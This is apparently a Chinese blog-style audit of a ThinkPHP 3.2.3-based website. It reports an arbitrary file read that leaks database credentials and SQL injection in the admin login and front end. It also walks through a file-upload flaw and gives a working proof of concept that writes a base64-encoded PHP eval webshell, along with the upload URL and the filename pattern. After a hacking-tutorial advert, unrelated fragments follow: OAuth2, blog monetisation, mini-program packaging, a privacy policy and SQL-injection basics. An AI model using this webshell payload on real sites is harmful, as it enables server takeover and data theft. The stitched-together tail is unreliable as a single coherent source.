Tp3.2.3 可能存在缓存漏洞、sql注入漏洞,sql注入暂时放放,缓存漏洞看看有没有。

参考一下: ThinkPHP RCE漏洞分析合集

(该文章首发于社区文库、有需要的小伙伴可以文末扫码找助教领取社区邀请码,观看更多文章)

要存在漏洞的话,肯定需要调用tp框架的 Cache::set方法 ,查找全局,看有没有调用。可惜没有调用,那就凉了。

二、网站结构分析

一键开启自动审计!

趁着这个时间大致浏览了一下网站的结构,它没有把全部功能写到controller里面

没有将 index.php 作为唯一的入口文件,可以访问其他文件进入其他控制器

它采用tp的 URL_MODEL=0 的模式, index.php 对m传参进行清洗

网站如果访问 index.php 默认访问 Home 模块的 index 控制器。

而想进入后台,则要找到入口文件 ××.php ,它的m值为默认 Admin 、进入 admin 模块。

所以要进后台,如果 ××.php 没有改变的话,那么访问 ××.php 就可以了。

三、漏洞代码审计

(一)、傻瓜式漏洞

明显的任意文件读取漏洞,而且出错可以报出网站根目录。

这个找到敏感信息便可以读取。

数据库账号密码就来了~

(二)、后台登录sql注入

什么??直接拼接 post 的值,实锤sql注入,但是不能万能钥匙登录

因为无论如何都要验证加密了的 password 是否正确,幸运的是这里可以用显错注入
图片

sqlmap 跑一下就可以了。
或者添加一个用户,进入后台搞事情嘻嘻嘻。

这里暂时先不进去,看看前台有什么可以搞的。

(三)、前台sql注入

一堆sql注入,我不一一验证了,各位大佬们肯定能一眼看出来,比如以下:
图片

都没有过滤,而且又没有使用tp的自带函数,那就凉了嘛。

(四)、前台文件上传漏洞

经过不懈的努力,终于找到了一个文件上传的漏洞,这道题有点像ctf,

看来还是要多做点ctf的题呀,多练练思维。

以下为漏洞代码:

* 公共上传图片方法 public function Upload ( ) { $base64_image_content = I ( "post.img" ) ; $image_name = I ( "post.name" ) ; $len = I ( "post.size" ) ; $baseLen = strlen ( $base64_image_content ) ; if ( $len! = $baseLen ) $this - > error ( "上传图片不完整" ) ; if ( preg_match ( '/^(data:\s*image\/(\w+);base64,)/' , $base64_image_content , $result )) { $uploadFolder = C ( 'UPLOADPATH' ) .date ( "Ymd" ) . "/" ; if ( ! is_dir ( $uploadFolder )) { if ( ! mkdir ( $uploadFolder , 0755, true )) { $this - > error ( '创建文件失败' ) ; $type = $result [ 2 ] ; if ( empty ( $image_name )) { $new_file = $uploadFolder .date ( "His" ) . "_" .mt_rand ( 0, 1000 ) . ".{ $type }" ; } else { $new_file = $uploadFolder . $image_name . "_" .date ( "mdHis" ) . ".{ $type }" ; $img_64 = base64_decode ( str_replace ( $result [ 1 ] , '' , $base64_image_content )) ; if ( file_put_contents ( $new_file , $img_64 )) { $this - > success ( complete_url ( $new_file )) ; } else { $this - > error ( "图片不存在" ) ;

由图可知,代码使用tp框架的函数I() 来获取数据,具有一定的安全性,它的函数实现了html实体转化。

但是呢,这里他使用了base64的编码进行输入,所以<>都可以生效。

接下来看一下满足的条件:

1.Size的post传参和 $baseLen 数据长度一样,也就是 size 就是 img 传参的长度。

2. preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_image_content, $result)// 只要输入的 img 满足 data: image/jpg;base64, 就能匹配出三个结果:
图片

3.是否存在目录。(肯定有的~)
代码往下走就是: $type=$result[2];

也就是说type是文件后缀,那让result[2]=php不就完美了?

于是就有: data: image/php;base64

再接着这段代码:

  if(empty($image_name)){
        $new_file = $uploadFolder.date("His")."_".mt_rand(0, 1000).".{$type}";
    }else{
        $new_file = $uploadFolder.$image_name."_".date("mdHis").".{$type}";
    $img_64 = base64_decode(str_replace($result[1], '', $base64_image_content));
    if (file_put_contents($new_file,$img_64)){
        $this->success(complete_url($new_file));
    }else{
        $this->error("图片不存在");

判断有无name传参,有就拼接目录、时间、和$type。其中type为后缀,那就OK,可以上传php文件。

最后看一下file_put_contents两个参数,$new_file 为写入的目录文件,$img_64为写入的内容。内容要是一句话木马才行。

$img_64是先进行替代操作str_replace($result[1], ‘’, $base64_image_content),再进行base64解码。

所以data: image/jpg;base64,之后的内容是一句话木马的base64的加密内容就行。

具体name的传参无关紧要,而size是要等于img的字符长度,即可触发文件上传漏洞。
总结就是,该漏洞因为太相信上传的img文件类型,而触发文件上传漏洞。

综上可得到poc为:

img=data: image/php;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbMTJdKTs/Pg==& &name=jpg&size=63

PD9waHAgZXZhbCgkX1JFUVVFU1RbMTJdKTs/Pg==是一句话木马base加密的内容。

其中,要连接一句话木马就要知道时间戳。

本地复现:
图片

上传的文件名是jpg_0430130105.php 文件名不难猜,月日时秒
尝试实操:

url为:http://url/index.php?m=&c=indexAjax&a=upload
poc为:

img=data: image/php;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbMTJdKTs/Pg==&name=jpg&size=63

上传成功,看看效果:
图片

菜刀就不连了!

开溜是不可能开溜的,后续我还会再尝试一下这个审计一下,若有其他新奇的漏洞代码,我再上传。

心得体会:

我自己通过学习了大约一星期的tp框架,才入门了这个审计

我觉得、不一定自己要有多懂代码、不一定要非得自己写一个网站

但是框架里面的应用包括内置函数这些一定要懂!

这就像一个手机app一样,基本的操作方法会了之后,你就可以找出这个app有哪些小bug。

但是像大佬一样,审计框架里的内容,那可能还有很远的路要走,一起加油吧!

黑客教程免费领:点击即可

Spring Security OAuth2 OAuth 是一个开放标准,允许用户让第三方应用访问该用户在某一网站上存储的的资源(如照片,视频,联系人列表),而不需要将用户名和码提供给第三方应用。OAuth允许用户提供一个令牌,而不是用户名和码来访问他们存放在特定服务提供者的数据。每一个令牌授权一个特定的网站在特定的时段内访问特定的资源。这样,OAuth让用户可以授权第三方网站访问他们存储在另外服务提供者的某些特定信息。更多OAuth2请参考 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-security</artifactId> </dependency> <dependency> <groupId>or 文章来源于苦心孤译,我的个人博客。博客变现都有哪些方式呢?对于博主来说,或许持续不断的输出博文只是他们的爱好,其实博客也是一种网上赚钱的途径。现在写博客赚钱比以前要简单多了。如果您有自己的独立博客(如果还没有自己的博客站,请参阅《如何在SiteGround搭建WordPress网站》这篇文章),而且输出了不少内容,但是还没赚到钱的话,是时候做一些改变了。但是如何改变博客不能变现的问题呢?本文,苦心孤译将与您分享博客变现的15种网赚方法。接下来,我们进入正题。 1、打包小程序后台的基础设置填好之后,就可以在导航 发布那里点击 “开始打包” 按钮。下载完成之后,修改文件名,比如:xiaochengxu888,文件名不能有空格和中文,然后解压,得到一个文件夹。2、用百度开发者工具打开小程序解压之后用百度开发者工具打开该文件夹,注意是打开,而不是新建,还要把导航上面的“依赖分析”改为“普通模式”。打开之后需要在百度开发者工具左上角登录百度账号,注意这个百度账号... 本软件尊重并保护所有使用服务用户的个人隐权。为了给您提供更准确、更有个性化的服务,本软件会按照本隐权政策的规定使用和披露您的个人信息。但本软件将以高度的勤勉、审慎义务对待这些信息。除本隐权政策另有规定外,在未征得您事先许可的情况下,本软件不会将这些信息对外披露或向第三方提供。本软件会不时更新本隐权政策。 您在同意本软件服务使用协议之时,即视为您已经同意本隐权政策全部内容。本隐权政策属于... 中国人常讲“远亲不如近邻”,老一辈的可能做得不错,可越往信息时代走,邻里之间似乎淡漠得越多。现在有多少人不是一回家就紧闭房门两耳不闻窗外事的?技术方便了我们生活的同时,也一定程度淡化了某些温暖的东西。据美国调查机构Pew Research发布的报告称,在现实生活中有28%的人不知道任何邻居的名字(我个人猜想这个比例在中国更大),只有19%的受访者能够叫出所有邻居的名字;而在网络... 1、在Linux准备一套Xampp或者Phpstudy:模拟攻防2、在vscode安装Rremote Development插件,进行远程调试新添加主机 在opt/lampp/security创建项目 login.php welcome.php 二、进行登陆的渗透测试 注入类攻击的核心点: (1)、拼接为有效的代码或语句(2)、确保完成了闭合,并且可以改变原有执行逻辑通常并非处理一下就可以完成拼接和闭合,需要不停的尝试,知道出现不一样的结果。这个尝试过程建议使用python+字典快速处理上述代码一共存 这期间大概发生了这样一些事:你按下回车键,一个带有你输入的关键字的HTTP请求发送到服务器,业务逻辑层的Web服务器通过脚本引擎解析你的请求,动态地构造SQL语句,并请求DBMS,执行SQL语句。SQL 注入就是指 Web应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的 SQL语句来实现 对数据库的任 意操作。因为没有对用户输入的数据进行过滤,把恶意构造的参数带入了DBMS进行查询,实现第数据库的恶意操作。